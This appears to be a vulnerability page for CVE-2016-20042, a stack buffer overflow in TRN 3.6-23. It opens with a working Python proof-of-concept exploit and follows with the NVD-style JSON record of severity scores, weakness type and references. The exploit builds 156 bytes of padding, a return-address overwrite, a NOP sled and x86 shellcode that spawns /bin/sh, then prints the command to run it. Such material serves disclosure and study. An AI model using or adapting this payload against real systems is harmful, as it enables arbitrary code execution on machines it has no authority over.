CVE-2016-20042

#!/usr/bin/env python # PoC for CVE-2016-20042 (TRN Stack Buffer Overflow) # This script generates a malicious payload to overwrite the instruction pointer. import sys import struct # Configuration OFFSET = 156 # Number of bytes to pad before overwriting EIP RET_ADDR = 0x080484db # Example return address (Address varies by environment) # Generate payload # 1. Padding (A's) buffer = b'A' * OFFSET # 2. Return Address (Overwrite EIP) # Packing the address for little-endian architecture buffer += struct.pack('<I', RET_ADDR) # 3. NOP Sled (optional, to increase reliability) buffer += b'\x90' * 32 # 4. Shellcode (Example: exec /bin/sh for Linux x86) # \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" buffer += shellcode print(f"[+] Payload generated with length: {len(buffer)}") print(f"[+] Usage: ./trn '{buffer.decode('latin-1')}'")

{"cve": {"id": "CVE-2016-20042", "sourceIdentifier": "[email protected]", "published": "2026-03-28T12:16:00.057", "lastModified": "2026-05-01T15:21:32.393", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "TRN 3.6-23 contains a stack buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying an oversized argument to the application. Attackers can craft a malicious command-line argument with 156 bytes of padding followed by a return address to overwrite the instruction pointer and execute shellcode with user privileges."}, {"lang": "es", "value": "TRN 3.6-23 contiene una vulnerabilidad de desbordamiento de búfer de pila que permite a atacantes locales ejecutar código arbitrario al proporcionar un argumento de tamaño excesivo a la aplicación. Los atacantes pueden crear un argumento malicioso de línea de comandos con 156 bytes de relleno seguidos de una dirección de retorno para sobrescribir el puntero de instrucción y ejecutar shellcode con privilegios de usuario."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://sourceforge.net/projects/trn/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/39764", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/trn-23-stack-buffer-overflow-local-code-execution", "source": "[email protected]"}]}}